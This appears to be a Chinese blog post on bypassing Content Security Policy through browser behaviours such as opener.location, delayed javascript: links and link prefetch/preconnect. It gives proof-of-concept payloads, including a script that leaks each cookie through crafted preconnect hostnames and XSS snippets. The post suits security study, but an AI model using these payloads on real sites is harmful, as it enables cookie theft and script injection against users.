浏览器预加载特性bypass csp
之前看到过一些结合类似预加载特性来绕过csp防护的,概括如下:
1、parent.window.opener.location
parent.window.opener.location,是一个JS片段,其作用在被打开的子页面中改变或者刷新父页面属性,而在有些特定浏览器下是无视父页面的csp规则的。如:
父页面含csp规则:
<meta http-equiv="Content-Security-Policy" content="script-src 'none'">
而子页面通过 parent.window.opener.location 加载 javascript 协议可在父页面执行JS代码。
<script>parent.window.opener.location = "javascript:alert(document.cookie);"</script>
同时,也可以通过 window.open 去打开其他窗口,浏览器处理不当可导致 refer 等信息泄露,如:https://blog.csdn.net/baidu_36847344/article/details/62888751
2、setInterval、setTimeout
通过 setInterval、setTimeout 函数,在特定浏览器下有时候可以无视打开的页面的 csp 规则。如:
父页面代码:
<html> <head><meta charset="utf-8"></head> <body> <a href="./target.php" target="xxx" id="baidu" onclick="return start()">click me</a> <script> function start() { setTimeout(function() { baidu.href="javascript:alert(document.cookie);"; baidu.click(); }, 5000); } </script> </body> </html>
跳转页面含csp规则:
<!DOCTYPE html> <html> <head> <meta http-equiv="Content-Security-Policy" content="script-src 'none'"> </head> <body> <script>alert(/test/)</script> </body> </html>
当跳转后,在打开的页面无视csp规则执行JS代码。

3、Link prefetch
在不同浏览器,预加载的 rel 标记不太一样,如 Firefox 和 Chrome 。在 csp 规则设置 unsafe-inline 时,可通过预加载来获取信息。如:
<!DOCTYPE html> <html> <head> <meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-inline'"> </head> <body> <script> dc = document.cookie;dcl = dc.split(";");n0 = document.getElementsByTagName("HEAD")[0];for (var i=0; i<dcl.length;i++){console.log(dcl[i]);n0.innerHTML = n0.innerHTML + "<link rel=\"preconnect\" href=\"//" + escape(dcl[i].replace(/\//g, "-")).replace(/%/g, "_") + '.' + location.hostname.split(".").join("") + "\">";} </script> </body> </html>

但是也有很多情况是不能进行预加载的,详见:https://www.cnblogs.com/suyuwen1/p/5506397.html
4、其他
在 http://www.au1ge.xyz/2018/05/03/web%E5%89%8D%E7%AB%AF%E6%94%BB%E9%98%B2%E4%B8%80%E4%BA%9Btrick/ 这篇博客上看到两个有意思的前端技巧,这里一并记录下来了。
Chrome 66以后,toString会打印出comment里的内容,以下这个payload会弹出框:
<script type="text/javascript"> function /* a comment<svg onload=alert(1)> */ foo () {} document.write(foo.toString()); </script>
在Chrome下可以用object来代替iframe完成攻击(Firefox为null),实例代码如下:
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> </head> <body> </body> <script> x = document.createElement('object'); x.data = 'about:blank' document.body.appendChild(x); _ = x.contentWindow; _.document.write('111'); </script> </html>

浙公网安备 33010602011771号